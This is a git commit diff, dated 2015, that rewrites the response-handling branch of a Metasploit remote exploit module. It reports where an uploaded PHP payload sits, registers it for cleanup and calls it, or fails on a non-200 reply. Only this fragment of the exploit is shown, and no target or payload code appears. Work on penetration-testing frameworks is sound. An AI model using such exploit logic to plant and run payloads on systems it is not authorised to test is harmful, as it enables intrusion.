Rewrote response condition.

bug/bundler_fix
Roberto Soares 2015-04-16 05:26:48 -03:00
parent 2d1f8c510e
commit 10c218319a
1 changed files with 8 additions and 4 deletions

View File

@ -66,11 +66,15 @@ class Metasploit3 < Msf::Exploit::Remote
'data' => post_data
})
if res && res.code == 200 && res.body
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
register_files_for_cleanup(php_pagename)
if res
if res.code == 200
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
register_files_for_cleanup(php_pagename)
else
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
fail_with('ERROR')
end
print_status("#{peer} - Calling payload...")